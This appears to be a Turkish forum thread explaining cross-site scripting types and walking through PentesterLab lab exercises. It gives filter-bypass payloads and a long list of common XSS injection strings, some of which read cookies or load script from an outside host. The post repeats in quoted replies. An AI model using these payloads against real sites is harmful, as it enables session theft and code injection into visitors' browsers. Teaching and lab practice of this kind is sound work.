XSS(Cross-Site Scripting) Zafiyeti ve En Sık Kullanılan XSS Kodları

By muradQ

Üye
3 Eki 2019
154
111
canada
merhaba tanımını yapacak olursak Siteler Arası Betik Çalıştırma (Cross-Site Scripting) (XSS), genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkan verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec’in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84’ünü oluşturmaktadır.Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.

Cross-Site Scripting (XSS) OWASP Top 10 listesinde bulunmaktadır. Owasp’ta saldırıyı 2 şekilde meydana gelir:

  1. Veri web uygulamasına güvenli olmayan kaynaktan girerse, sıkça istek gönderilerse
  2. Veri, kötü niyetli içerik doğrulaması olmadan dinamik içerik içerisinde kullanıcıya gönderilmişse
Kısaca özetlemek gerekirse birincide kalıcı olmayan XSS’ten ikincide siteye gömülmüş kalıcı XSS’ten bahsediyor.


0*TzfF6vweDKNmVXJR.jpeg

XSS saldırıları VBScript, ActiveX yapılabilir ama en çok HTML ve JavaScript kullanılıyor. Peki kullanıcılar XSS ile nasıl karşılaşabilir ?

  • XSS hedef kullanıcı tarafından çalıştırılan kötü amaçlı komut dosyası ile yapılabilir.
  • Hedef tarafından görüntülenen sayfanın link ile tıklanacak ve kullanıcın kimlik bilgilerini isteyen sahte sayfa ya da form şeklinde bir sayfa ile olabilir.
  • Hedef tarafından görüntülenen reklam içeren web sitelerinde.
  • Kullanıcıya ya da topluluğa gönderilen kötü niyetli e-postalarla XSS saldırısına maruz kalabiliriz.
XSS zafiyetinin nasıl istismar edildiğinden önce XSS türlerini anlatmak istiyorum.

3 çeşit XSS zafiyeti bulunmaktadır. Bunlar:

Reflected XSS

Stored XSS

DOM XSS

olarak bilinir.

Reflected XSS

XSS saldırı URL alanlarına veya veri giriş alanlarına yapılır. Yapılan bu saldırı sadece XSS saldırısı yapan kullanıcı tarafından görülür. Ziyaretçiler bu saldırıyı göremezler. Bu yüzden URL alanında çalışan Reflected XSS saldırılarında, saldırgan URL adresini e-mail gibi çeşitli iletişim kanalları ile göndererek kurban avına çıkar. Yani güvenmediğiniz linklere tıklayıp ziyaret ettiğiniz sitelerde XSS zafiyeti varsa büyük ihtimalle siz bunu farketmeyeceksiniz. Bu yüzden tanımadığınız e-postaları ya da güvenmediğiniz linklere tıklamamanızı öneririm.
Reflected XSS zafiyetine örnek olarak bee-box laboratuvarı üzerinde web penetrasyon testleri için kurulu olan zafiyetli bir web sitesi üzerinden göstermek istiyorum.

STORED XSS
Stored XSS, bir web uygulamasına yapılan zararlı istek sonucunda, zararlı JavaScript kodunun veritabanına kaydedilmesi ve web sitesine yapılan tüm erişimlerde kodun sayfada çalışması ile tetiklenen bir XSS türüdür. Bu nedenden dolayı Stored XSS zafiyetinin etkileri diğer kullanıcılar tarafından da görülür. Stored XSS zafiyeti ile genel olarak yorum sayfalarında karşılaşılır.

DOM XSS
DOM tabanlı XSS, HTML kodlarından değil DOM (Document Object Model)’dan meydana gelen bir XSS zafiyet türüdür. Stored ve Reflected XSS saldırılarında, saldırı sonrası gelen sayfada XSS atağının sonuçlarını görmek mümkünken; DOM tabanlı XSS saldırılarında HTML kaynağı ve dönen yanıt, tamamen aynı olacaktır. DOM (Document Object Model) web sayfası üzerinde birçok farklı bölümleri tanımlamaktadır. Aşağıdaki tabloda DOM elementleri yer almaktadır.

xss3.2.3.1-1.png
Resim – DOM Elementleri


Uygulama

Şimdi zafiyetin nasıl sömürüleceğini görmek için bir lab ortamı oluşturalım. Ben bunun için Pentesterlab’ın sunmuş olduğu web for pentester sanal makinasını kullanacağım.

Iso linki : PentesterLab: Learn Web App Pentesting!

Örnek1-

alt


Birinci örnekte bizi yukarıdaki gibi bir ekran karşılıyor.Name adındaki parametrede bir girdi noktamız olduğunu görüyoruz.Uygulamamız boyunca amacımız javascript’in tetiklenip tetiklenemediğini görmemiz için ekrana bir uyarı(alert) kutusu bastırmak olacak.Javascript kodunun çalıştırılması için birden fazla yöntem olmakla birlikte biz kodumuzu çalıştırmak için “

Birinci örnekte herhangi bir filtreleme ile karşılaşmadığımız için kodumuzu aşağıdaki payload ile çalıştırabildik.Yani veri girmemiz gereken kısıma kod girdik.

Payload : <script>alert(‘hello-there’)</script>


Örnek2-

Bu örnekte yukarıdaki payloadımızı denediğimiz zaman kodumuzu çalıştıramadığımızı göreceğiz. Yani bir filtreleme söz konusu. Bu filtrelemeyi aşmak için farklı yöntemler kullanacağız. HTML ‘ de taglerin küçük-büyük harf duyarlı (case sensitive) olmadığı aklımıza geliyor ve şu şekilde bir payload kullanıyoruz.

alt


Payload : <scRipt>alert(‘hellothere’)</scriPt>

Örnek3-

Bu örnekte de önceki örnekler de olduğu gibi ‘name’ parametresini ekrana basıyor. Denemelerimiz sonucu

alt


Payload : <scri<script>pt>alert('hellothere')</scri</script>pt>

Örnek4- Önceki payloadlarımızı deneyince görüyoruzki bu sefer geliştiriciler tag’ini tamamen engellemişler. Daha öncede bahsettiğimiz gibi javascript kodu çalıştırmak için birden fazla yolumuz mevcut. Bu yöntemde bir resim dosyasının bulunmaması halinde javascript kodumuzu çalıştıracak bir script yazıyoruz. Resim dosyasının bulunmadığından emin olmak için ise rastgele bir source veriyoruz.

alt


Payload : <img src='hellothere' onerror='window.alert(1)' />

Örnek5-

Bu örneği incelediğimizde ise alert fonksiyonu ve

alt


Payload: <script>window.prompt("hellothere")</script>

Örnek6- Bu örnekte önceki payloadlarımızı deneyip hata mesajı aldıktan sonra, kaynak kodunu inceliyoruz. Buradanda görüldüğü gibi parametremiz halihazırda script etiketinin içerisine alınmış halde.

alt


Payload : “;alert(‘hellothere’);”

Örnek7- Kaynak kodunu incelediğimizde az önceki soruda ki gibi değişkenimizin

alt


alt


Payload : ';alert('generalkenobi');'

Örnek8- Bu örnekte karşımıza çıkan sayfa farklılaşıyor. Parametreyi URL üzerinden almak yerine parametre bir form aracılığıyla alınıyor ve bu form POST metodu ile yollanıyor.

alt


Dikkatimizi çeken bir başka nokta ise girdi alındıktan sonra formun tekrar kullanıcıya döndürülmesi.

Payload : "><script>alert("generalkenobi");</script>

alt


Görüldüğü gibi amacımız genel olarak alışılmışın dışında bir yaklaşım ile zafiyetleri tespit etmek oldu. Tabii ki bu zafiyet özelinde Javascript bilgiside oldukça önemli olacaktır.



En çok kullanılan XSS kodları:

<code>

{‘<script>alert(‘XSS’)</script>
‘><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
javascript;alert(‘XSS’)
<title>XSS</title>
“><script>alert(‘xss’);</script>+
“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X
“>’<’script’>alert(’xss’)</’script>
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<s&#99;ript>alert(‘XSS’)</script>
<img src=”/javas&#99;ript:alert(‘XSS’)”>
%0a%0a<script>alert(\”XSS\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert(‘XSS’);&lt;/script&gt
<script>alert(‘XSS’)</script>
a.jsp/<script>alert(‘XSS’)</script>
a?<script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
‘’;! — “<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
<IMG SRC=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”mocha:
Kod:
”>
<IMG SRC=”livescript:[code]”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘/xss’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<BASE HREF=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”
<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)”}

</code>
 

vatansevdalısı12

Katılımcı Üye
17 Tem 2021
310
115
merhaba tanımını yapacak olursak Siteler Arası Betik Çalıştırma (Cross-Site Scripting) (XSS), genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkan verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec’in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84’ünü oluşturmaktadır.Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.

Cross-Site Scripting (XSS) OWASP Top 10 listesinde bulunmaktadır. Owasp’ta saldırıyı 2 şekilde meydana gelir:

  1. Veri web uygulamasına güvenli olmayan kaynaktan girerse, sıkça istek gönderilerse
  2. Veri, kötü niyetli içerik doğrulaması olmadan dinamik içerik içerisinde kullanıcıya gönderilmişse
Kısaca özetlemek gerekirse birincide kalıcı olmayan XSS’ten ikincide siteye gömülmüş kalıcı XSS’ten bahsediyor.


0*TzfF6vweDKNmVXJR.jpeg

XSS saldırıları VBScript, ActiveX yapılabilir ama en çok HTML ve JavaScript kullanılıyor. Peki kullanıcılar XSS ile nasıl karşılaşabilir ?

  • XSS hedef kullanıcı tarafından çalıştırılan kötü amaçlı komut dosyası ile yapılabilir.
  • Hedef tarafından görüntülenen sayfanın link ile tıklanacak ve kullanıcın kimlik bilgilerini isteyen sahte sayfa ya da form şeklinde bir sayfa ile olabilir.
  • Hedef tarafından görüntülenen reklam içeren web sitelerinde.
  • Kullanıcıya ya da topluluğa gönderilen kötü niyetli e-postalarla XSS saldırısına maruz kalabiliriz.
XSS zafiyetinin nasıl istismar edildiğinden önce XSS türlerini anlatmak istiyorum.

3 çeşit XSS zafiyeti bulunmaktadır. Bunlar:

Reflected XSS

Stored XSS

DOM XSS

olarak bilinir.

Reflected XSS

XSS saldırı URL alanlarına veya veri giriş alanlarına yapılır. Yapılan bu saldırı sadece XSS saldırısı yapan kullanıcı tarafından görülür. Ziyaretçiler bu saldırıyı göremezler. Bu yüzden URL alanında çalışan Reflected XSS saldırılarında, saldırgan URL adresini e-mail gibi çeşitli iletişim kanalları ile göndererek kurban avına çıkar. Yani güvenmediğiniz linklere tıklayıp ziyaret ettiğiniz sitelerde XSS zafiyeti varsa büyük ihtimalle siz bunu farketmeyeceksiniz. Bu yüzden tanımadığınız e-postaları ya da güvenmediğiniz linklere tıklamamanızı öneririm.
Reflected XSS zafiyetine örnek olarak bee-box laboratuvarı üzerinde web penetrasyon testleri için kurulu olan zafiyetli bir web sitesi üzerinden göstermek istiyorum.

STORED XSS
Stored XSS, bir web uygulamasına yapılan zararlı istek sonucunda, zararlı JavaScript kodunun veritabanına kaydedilmesi ve web sitesine yapılan tüm erişimlerde kodun sayfada çalışması ile tetiklenen bir XSS türüdür. Bu nedenden dolayı Stored XSS zafiyetinin etkileri diğer kullanıcılar tarafından da görülür. Stored XSS zafiyeti ile genel olarak yorum sayfalarında karşılaşılır.

DOM XSS
DOM tabanlı XSS, HTML kodlarından değil DOM (Document Object Model)’dan meydana gelen bir XSS zafiyet türüdür. Stored ve Reflected XSS saldırılarında, saldırı sonrası gelen sayfada XSS atağının sonuçlarını görmek mümkünken; DOM tabanlı XSS saldırılarında HTML kaynağı ve dönen yanıt, tamamen aynı olacaktır. DOM (Document Object Model) web sayfası üzerinde birçok farklı bölümleri tanımlamaktadır. Aşağıdaki tabloda DOM elementleri yer almaktadır.

xss3.2.3.1-1.png
Resim – DOM Elementleri


Uygulama

Şimdi zafiyetin nasıl sömürüleceğini görmek için bir lab ortamı oluşturalım. Ben bunun için Pentesterlab’ın sunmuş olduğu web for pentester sanal makinasını kullanacağım.

Iso linki : PentesterLab: Learn Web App Pentesting!

Örnek1-

alt


Birinci örnekte bizi yukarıdaki gibi bir ekran karşılıyor.Name adındaki parametrede bir girdi noktamız olduğunu görüyoruz.Uygulamamız boyunca amacımız javascript’in tetiklenip tetiklenemediğini görmemiz için ekrana bir uyarı(alert) kutusu bastırmak olacak.Javascript kodunun çalıştırılması için birden fazla yöntem olmakla birlikte biz kodumuzu çalıştırmak için “

Birinci örnekte herhangi bir filtreleme ile karşılaşmadığımız için kodumuzu aşağıdaki payload ile çalıştırabildik.Yani veri girmemiz gereken kısıma kod girdik.

Payload : <script>alert(‘hello-there’)</script>


Örnek2-

Bu örnekte yukarıdaki payloadımızı denediğimiz zaman kodumuzu çalıştıramadığımızı göreceğiz. Yani bir filtreleme söz konusu. Bu filtrelemeyi aşmak için farklı yöntemler kullanacağız. HTML ‘ de taglerin küçük-büyük harf duyarlı (case sensitive) olmadığı aklımıza geliyor ve şu şekilde bir payload kullanıyoruz.

alt


Payload : <scRipt>alert(‘hellothere’)</scriPt>

Örnek3-

Bu örnekte de önceki örnekler de olduğu gibi ‘name’ parametresini ekrana basıyor. Denemelerimiz sonucu

alt


Payload : <scri<script>pt>alert('hellothere')</scri</script>pt>

Örnek4- Önceki payloadlarımızı deneyince görüyoruzki bu sefer geliştiriciler tag’ini tamamen engellemişler. Daha öncede bahsettiğimiz gibi javascript kodu çalıştırmak için birden fazla yolumuz mevcut. Bu yöntemde bir resim dosyasının bulunmaması halinde javascript kodumuzu çalıştıracak bir script yazıyoruz. Resim dosyasının bulunmadığından emin olmak için ise rastgele bir source veriyoruz.

alt


Payload : <img src='hellothere' onerror='window.alert(1)' />

Örnek5-

Bu örneği incelediğimizde ise alert fonksiyonu ve

alt


Payload: <script>window.prompt("hellothere")</script>

Örnek6- Bu örnekte önceki payloadlarımızı deneyip hata mesajı aldıktan sonra, kaynak kodunu inceliyoruz. Buradanda görüldüğü gibi parametremiz halihazırda script etiketinin içerisine alınmış halde.

alt


Payload : “;alert(‘hellothere’);”

Örnek7- Kaynak kodunu incelediğimizde az önceki soruda ki gibi değişkenimizin

alt


alt


Payload : ';alert('generalkenobi');'

Örnek8- Bu örnekte karşımıza çıkan sayfa farklılaşıyor. Parametreyi URL üzerinden almak yerine parametre bir form aracılığıyla alınıyor ve bu form POST metodu ile yollanıyor.

alt


Dikkatimizi çeken bir başka nokta ise girdi alındıktan sonra formun tekrar kullanıcıya döndürülmesi.

Payload : "><script>alert("generalkenobi");</script>

alt


Görüldüğü gibi amacımız genel olarak alışılmışın dışında bir yaklaşım ile zafiyetleri tespit etmek oldu. Tabii ki bu zafiyet özelinde Javascript bilgiside oldukça önemli olacaktır.



En çok kullanılan XSS kodları:

<code>

{‘<script>alert(‘XSS’)</script>
‘><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
javascript;alert(‘XSS’)
<title>XSS</title>
“><script>alert(‘xss’);</script>+
“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X
“>’<’script’>alert(’xss’)</’script>
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<s&#99;ript>alert(‘XSS’)</script>
<img src=”/javas&#99;ript:alert(‘XSS’)”>
%0a%0a<script>alert(\”XSS\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert(‘XSS’);&lt;/script&gt
<script>alert(‘XSS’)</script>
a.jsp/<script>alert(‘XSS’)</script>
a?<script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
‘’;! — “<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
<IMG SRC=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”mocha:
Kod:
”>
<IMG SRC=”livescript:[code]”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘/xss’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<BASE HREF=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”
<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)”}

</code>
Çok güzel çalışma. Eline sağlık
 

0x43

Yeni üye
15 Şub 2021
46
28
 

Dargaaltay

Uzman üye
7 Mar 2019
1,741
404
Kainat
merhaba tanımını yapacak olursak Siteler Arası Betik Çalıştırma (Cross-Site Scripting) (XSS), genellikle web uygulamalarında bulunan bir tür bilgisayar güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı kodun enjekte edilmesine imkan verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec’in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84’ünü oluşturmaktadır.Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.

Cross-Site Scripting (XSS) OWASP Top 10 listesinde bulunmaktadır. Owasp’ta saldırıyı 2 şekilde meydana gelir:

  1. Veri web uygulamasına güvenli olmayan kaynaktan girerse, sıkça istek gönderilerse
  2. Veri, kötü niyetli içerik doğrulaması olmadan dinamik içerik içerisinde kullanıcıya gönderilmişse
Kısaca özetlemek gerekirse birincide kalıcı olmayan XSS’ten ikincide siteye gömülmüş kalıcı XSS’ten bahsediyor.


0*TzfF6vweDKNmVXJR.jpeg

XSS saldırıları VBScript, ActiveX yapılabilir ama en çok HTML ve JavaScript kullanılıyor. Peki kullanıcılar XSS ile nasıl karşılaşabilir ?

  • XSS hedef kullanıcı tarafından çalıştırılan kötü amaçlı komut dosyası ile yapılabilir.
  • Hedef tarafından görüntülenen sayfanın link ile tıklanacak ve kullanıcın kimlik bilgilerini isteyen sahte sayfa ya da form şeklinde bir sayfa ile olabilir.
  • Hedef tarafından görüntülenen reklam içeren web sitelerinde.
  • Kullanıcıya ya da topluluğa gönderilen kötü niyetli e-postalarla XSS saldırısına maruz kalabiliriz.
XSS zafiyetinin nasıl istismar edildiğinden önce XSS türlerini anlatmak istiyorum.

3 çeşit XSS zafiyeti bulunmaktadır. Bunlar:

Reflected XSS

Stored XSS

DOM XSS

olarak bilinir.

Reflected XSS

XSS saldırı URL alanlarına veya veri giriş alanlarına yapılır. Yapılan bu saldırı sadece XSS saldırısı yapan kullanıcı tarafından görülür. Ziyaretçiler bu saldırıyı göremezler. Bu yüzden URL alanında çalışan Reflected XSS saldırılarında, saldırgan URL adresini e-mail gibi çeşitli iletişim kanalları ile göndererek kurban avına çıkar. Yani güvenmediğiniz linklere tıklayıp ziyaret ettiğiniz sitelerde XSS zafiyeti varsa büyük ihtimalle siz bunu farketmeyeceksiniz. Bu yüzden tanımadığınız e-postaları ya da güvenmediğiniz linklere tıklamamanızı öneririm.
Reflected XSS zafiyetine örnek olarak bee-box laboratuvarı üzerinde web penetrasyon testleri için kurulu olan zafiyetli bir web sitesi üzerinden göstermek istiyorum.

STORED XSS
Stored XSS, bir web uygulamasına yapılan zararlı istek sonucunda, zararlı JavaScript kodunun veritabanına kaydedilmesi ve web sitesine yapılan tüm erişimlerde kodun sayfada çalışması ile tetiklenen bir XSS türüdür. Bu nedenden dolayı Stored XSS zafiyetinin etkileri diğer kullanıcılar tarafından da görülür. Stored XSS zafiyeti ile genel olarak yorum sayfalarında karşılaşılır.

DOM XSS
DOM tabanlı XSS, HTML kodlarından değil DOM (Document Object Model)’dan meydana gelen bir XSS zafiyet türüdür. Stored ve Reflected XSS saldırılarında, saldırı sonrası gelen sayfada XSS atağının sonuçlarını görmek mümkünken; DOM tabanlı XSS saldırılarında HTML kaynağı ve dönen yanıt, tamamen aynı olacaktır. DOM (Document Object Model) web sayfası üzerinde birçok farklı bölümleri tanımlamaktadır. Aşağıdaki tabloda DOM elementleri yer almaktadır.

xss3.2.3.1-1.png
Resim – DOM Elementleri


Uygulama

Şimdi zafiyetin nasıl sömürüleceğini görmek için bir lab ortamı oluşturalım. Ben bunun için Pentesterlab’ın sunmuş olduğu web for pentester sanal makinasını kullanacağım.

Iso linki : PentesterLab: Learn Web App Pentesting!

Örnek1-

alt


Birinci örnekte bizi yukarıdaki gibi bir ekran karşılıyor.Name adındaki parametrede bir girdi noktamız olduğunu görüyoruz.Uygulamamız boyunca amacımız javascript’in tetiklenip tetiklenemediğini görmemiz için ekrana bir uyarı(alert) kutusu bastırmak olacak.Javascript kodunun çalıştırılması için birden fazla yöntem olmakla birlikte biz kodumuzu çalıştırmak için “

Birinci örnekte herhangi bir filtreleme ile karşılaşmadığımız için kodumuzu aşağıdaki payload ile çalıştırabildik.Yani veri girmemiz gereken kısıma kod girdik.

Payload : <script>alert(‘hello-there’)</script>


Örnek2-

Bu örnekte yukarıdaki payloadımızı denediğimiz zaman kodumuzu çalıştıramadığımızı göreceğiz. Yani bir filtreleme söz konusu. Bu filtrelemeyi aşmak için farklı yöntemler kullanacağız. HTML ‘ de taglerin küçük-büyük harf duyarlı (case sensitive) olmadığı aklımıza geliyor ve şu şekilde bir payload kullanıyoruz.

alt


Payload : <scRipt>alert(‘hellothere’)</scriPt>

Örnek3-

Bu örnekte de önceki örnekler de olduğu gibi ‘name’ parametresini ekrana basıyor. Denemelerimiz sonucu

alt


Payload : <scri<script>pt>alert('hellothere')</scri</script>pt>

Örnek4- Önceki payloadlarımızı deneyince görüyoruzki bu sefer geliştiriciler tag’ini tamamen engellemişler. Daha öncede bahsettiğimiz gibi javascript kodu çalıştırmak için birden fazla yolumuz mevcut. Bu yöntemde bir resim dosyasının bulunmaması halinde javascript kodumuzu çalıştıracak bir script yazıyoruz. Resim dosyasının bulunmadığından emin olmak için ise rastgele bir source veriyoruz.

alt


Payload : <img src='hellothere' onerror='window.alert(1)' />

Örnek5-

Bu örneği incelediğimizde ise alert fonksiyonu ve

alt


Payload: <script>window.prompt("hellothere")</script>

Örnek6- Bu örnekte önceki payloadlarımızı deneyip hata mesajı aldıktan sonra, kaynak kodunu inceliyoruz. Buradanda görüldüğü gibi parametremiz halihazırda script etiketinin içerisine alınmış halde.

alt


Payload : “;alert(‘hellothere’);”

Örnek7- Kaynak kodunu incelediğimizde az önceki soruda ki gibi değişkenimizin

alt


alt


Payload : ';alert('generalkenobi');'

Örnek8- Bu örnekte karşımıza çıkan sayfa farklılaşıyor. Parametreyi URL üzerinden almak yerine parametre bir form aracılığıyla alınıyor ve bu form POST metodu ile yollanıyor.

alt


Dikkatimizi çeken bir başka nokta ise girdi alındıktan sonra formun tekrar kullanıcıya döndürülmesi.

Payload : "><script>alert("generalkenobi");</script>

alt


Görüldüğü gibi amacımız genel olarak alışılmışın dışında bir yaklaşım ile zafiyetleri tespit etmek oldu. Tabii ki bu zafiyet özelinde Javascript bilgiside oldukça önemli olacaktır.



En çok kullanılan XSS kodları:

<code>

{‘<script>alert(‘XSS’)</script>
‘><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
javascript;alert(‘XSS’)
<title>XSS</title>
“><script>alert(‘xss’);</script>+
“><script>alert(‘X’);</script>”><script>alert(‘X’);</script> == X
“>’<’script’>alert(’xss’)</’script>
‘><script>alert(document.cookie)</script>
=’><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(XSS)</script>
%3Cscript%3Ealert(‘XSS’)%3C/script%3E
<s&#99;ript>alert(‘XSS’)</script>
<img src=”/javas&#99;ript:alert(‘XSS’)”>
%0a%0a<script>alert(\”XSS\”)</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
&lt;script&gt;alert(‘XSS’);&lt;/script&gt
<script>alert(‘XSS’)</script>
a.jsp/<script>alert(‘XSS’)</script>
a?<script>alert(‘XSS’)</script>
“><script>alert(‘XSS’)</script>
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document.domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
‘’;! — “<XSS>=&{()}
<IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
